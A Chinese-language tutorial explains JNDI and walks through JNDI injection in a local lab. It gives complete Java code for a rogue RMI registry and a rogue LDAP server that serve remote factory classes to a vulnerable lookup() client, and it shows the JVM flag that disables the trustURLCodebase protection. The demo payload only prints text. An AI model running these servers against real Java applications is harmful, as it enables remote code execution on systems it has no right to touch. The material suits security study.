JNDI结构
JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。
jndi的作用主要在于"定位"。比如定位rmi中注册的对象,访问ldap的目录服务等等
其实就可以理解为下面这些服务的一个客户端
有这么几个关键元素
- Name,要在命名系统中查找对象,请为其提供对象的名称
- Bind,名称与对象的关联称为绑定,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP
- Context:,上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文
- References,在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C中的指针
这些命名/目录服务提供者:
- RMI (JAVA远程方法调用)
- LDAP (轻量级目录访问协议)
- CORBA (公共对象请求代理体系结构)
- DNS (域名服务)
JDK里提供了5个包,以供JNDI进行功能的实现
1
2
3
4
5
6
7
8
9
|
javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
|
目录中的存储对象
官网文档给出定义
- Java serializable objects
Referenceable
objects and JNDI References
- Objects with attributes (
DirContext
)
- RMI objects
- CORBA objects
比较常见的是 References引用对象 和 RMI远程对象
InitialContext - 上下文
构造方法:
1
2
3
4
5
6
|
//构建一个初始上下文。
InitialContext()
//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy)
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment)
|
常用方法:
1
2
3
4
5
6
7
8
9
10
|
//将名称绑定到对象。
bind(Name name, Object obj)
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name)
//检索命名对象。
lookup(String name)
//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj)
//取消绑定命名对象。
unbind(String name)
|
示例
1
2
3
4
5
6
7
8
9
10
11
12
|
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class jndi {
public static void main(String[] args) throws NamingException {
// 构建初始上下文
InitialContext initialContext = new InitialContext();
// 查询命名对象
String uri = "rmi://127.0.0.1:1099/work";
initialContext.lookup(uri);
}
}
|
Reference - 引用
Reference
类表示对存在于命名/目录系统以外的对象的引用,具体则是指如果远程获取 RMI
服务器上的对象为 Reference
类或者其子类时,则可以从其他服务器上加载 class 字节码
文件来实例化
构造方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
//为类名为“className”的对象构造一个新的引用。
Reference(String className)
//为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr)
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
Reference(String className, String factory, String factoryLocation)
/*
参数:
className 远程加载时所使用的类名
factory 加载的class中需要实例化类的名称
factoryLocation 提供classes数据的地址可以是file/ftp/http协议
*/
|
示例:
调用完Reference
后又调用了ReferenceWrapper
将前面的Reference
对象给传进去,这是为什么呢?
其实查看Reference
就可以知道原因,查看到Reference
,并没有实现Remote
接口也没有继承 UnicastRemoteObject
类
前面讲RMI
的时候说过,将类注册到Registry
需要实现Remote
和继承UnicastRemoteObject
类。这里并没有看到相关的代码,所以这里还需要调用ReferenceWrapper
将他给封装一下
JNDIServer.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class jndi {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
String url = "http://127.0.0.1:8080";
// 注册中心创建
Registry registry = LocateRegistry.createRegistry(1099);
// 应用创建
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
// 命名绑定
registry.bind("aa",referenceWrapper);
}
}
|
JNDI注入
JNDI注入利用过程如下:
- 客户端程序调用了
InitialContext.lookup(url)
,且url可被输入控制,指向精心构造好的RMI服务地址
- 恶意的RMI服务会向受攻击的客户端返回一个Reference,用于获取恶意的Factory类
- 当客户端执行lookup的时候,客户端会获取相应的
object factory
,通过factory.getObjectInstance()
获取外部远程对象实例
- 攻击者在Factory类文件的构造方法,静态代码块,
getObjectInstance()
方法等处写入恶意代码,达到远程代码执行的效果
- 既然要用到Factory,所以恶意类得实现
ObjectFactory接口
JNDI & RMI
JNDI与RMI的配合是非常经典的,这里首先是做了个JNDI加载远程RMI对象
利用版本
JDK 6u132
、7u122
、8u113
之前可以
RMI Object
总的流程是这样
首先把RMI的服务搭建好,先定义一个Evil接口,继承Remote
1
2
3
4
5
6
7
8
9
|
package RMI;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface Evil extends Remote {
public String hello() throws RemoteException;
}
|
然后创建一个类,继承UnicastRemoteObject,实现刚刚我们做的接口,创建一个hello方法来做测试
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
package RMI;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class EvilObj extends UnicastRemoteObject implements Evil{
protected EvilObj() throws RemoteException {
}
@Override
public String hello() throws RemoteException {
return "Hello Hacker!";
}
}
|
然后我们实现一个RMI的Server,绑定我们的EvilObj,命名为hello
这里也可以写rmi://127.0.0.1:1099/hello
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
package RMI;
import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
public class RMIServer {
public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException {
//创建注册中心
LocateRegistry.createRegistry(1099);
//创建远程对象
EvilObj rmiObject = new EvilObj();
// 绑定name
Naming.bind("hello", rmiObject);
}
}
|
那么下一步就是JNDI的Server建立了,由于我这里已经使用了RMI服务,而且里面注册的对象是实现了Remote
且继承UnicastRemoteObject
类,所以这里不需要再ReferenceWrapper
包装了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
package RMI;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
public class JNDIRMIServer {
public static void main(String[] args) throws RemoteException, NamingException {
// 上下文创建
InitialContext context = new InitialContext();
// 上下文命名绑定RMI
context.bind("rmi://127.0.0.1:1099/Hello",new EvilObj());
}
}
|
最后是我们的JNDI客户端,一般也是受害端
lookup返回的值要强制转为接口类型,否则报错
Exception in thread “main” java.lang.ClassCastException: com.sun.proxy.$Proxy0 cannot be cast to RMI.EvilObj
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
package RMI;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
public class JNDIRMICilent {
public static void main(String[] args) throws NamingException, RemoteException {
// 上下文创建
InitialContext context = new InitialContext();
Evil obj = (Evil) context.lookup("rmi://127.0.0.1:1099/Hello");
System.out.println(obj.hello());
}
}
|
然后把RMI服务打开,JNDI服务打开,在执行我们的JNDI客户端就完成了EvilObj的加载与执行
References引用对象
这里再来实现一个References引用对象的例子
首先是恶意类的创建,实现ObjectFactory
接口,把恶意代码写在getObjectInstance
里面
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class EvilObj implements ObjectFactory {
static {
System.out.println("Hello static!");
}
public EvilObj(){
System.out.println("Hello constructor!");
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println("Hello getObjectInstance!");
return null;
}
}
|
然后是服务端的创建,按步骤来
- 首先是注册中心
- 然后是恶意类所在地址
- 接着是创建Reference对象引用,绑定恶意类的地址
- 绑定Name
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
package RMI2;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIRMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
// 创建注册中心
Registry registry = LocateRegistry.createRegistry(1099);
// 恶意类所在的web地址目录
String factoryUrl = "http://localhost:1098/";
// 创建Reference对象引用,指向恶意类地址
Reference reference = new Reference("EvilObj","EvilObj", factoryUrl);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
// 绑定Name
registry.bind("Hello", wrapper);
}
}
|
最后是客户端了,这里就创建一个上下文,然后lookup指向rmi://127.0.0.1:1009/Hello
1
2
3
4
5
6
7
8
9
10
11
12
13
|
package RMI2;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIRMICilent {
public static void main(String[] args) throws NamingException {
// 创建上下文
InitialContext context = new InitialContext();
context.lookup("rmi://127.0.0.1:1099/Hello");
}
}
|
然后我们编译一下我们的EvilObj,再开启一个web服务即可
运行一下,会发现是报错的(这里我用的jdk8u211)
Exception in thread “main” javax.naming.ConfigurationException: The object factory is untrusted. Set the system property ‘com.sun.jndi.rmi.object.trustURLCodebase’ to ‘true’.
原因是JDK 6u132
、7u122
、8u113
开始 com.sun.jndi.rmi.object.trustURLCodebase
默认值为false
,如果 JDK
高于这些版本,默认是不信任远程代码的,因此也就无法加载远程 RMI
代码
可以通过修改修改jdk版本,或者运行时需加入参数
1
|
-Dcom.sun.jndi.rmi.object.trustURLCodebase=true
|
然后在执行就能成功加载到远程Class
注意:恶意类如果定义了软件包,会导致报错执行不了
Exception in thread “main” java.lang.NoClassDefFoundError: EvilObj (wrong name: RMI2/EvilObj)
JNDI & LDAP
利用版本:
JDK 11.0.1
、8u191
、7u201
、6u211
之前可以
LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议
LDAP 服务作为一个树形数据库,可以通过一些特殊的属性来实现 Java 对象的存储,也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL中的协议换成ldap://
,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象
攻击过程
攻击过程如下:
- 攻击者为
易受攻击的JNDI查找方法
提供了一个绝对的LDAP URL
- 服务器连接到由攻击者控制的LDAP服务器,该服务器
返回恶意JNDI 引用
- 服务器解码JNDI引用
- 服务器从攻击者控制的服务器获取Factory类
- 服务器
实例化Factory类
- 有效载荷得到执行
首先是依赖的引入
1
2
3
4
5
|
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>
|
LdapServer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
|
package JNDI;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:9999/#EvilObj";
int port = 39654;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
|
LdapClient
1
2
3
4
5
6
7
8
9
10
11
12
13
|
package JNDI;
import javax.naming.Context;
import javax.naming.InitialContext;
public class LdapClient {
public static void main(String[] args) throws Exception {
String url = "ldap://127.0.0.1:39654/aaa";
Context context = new InitialContext();
context.lookup(url);
}
}
|
运行结果:
从ldap服务器请求到恶意类
成功加载到恶意类
后记
对于RMI和LDAP的注入,都存在一个问题,就是无法直接运行到高版本
JDK 6u132, JDK 7u122, JDK 8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase
默认值为false,运行时需加入参数 -Dcom.sun.jndi.rmi.object.trustURLCodebase=true
。因为如果 JDK 高于这些版本,默认是不信任远程代码的,因此也就无法加载远程 RMI 代码
在Oracle JDK 6u211、7u201、8u191、11.0.1之后,com.sun.jndi.ldap.object.trustURLCodebase
属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制
参考链接:
https://paper.seebug.org/1207/
https://paper.seebug.org/1091/
https://tttang.com/archive/1611/
https://ego00.blog.csdn.net/article/details/120048519
https://docs.oracle.com/javase/tutorial/jndi/overview/index.html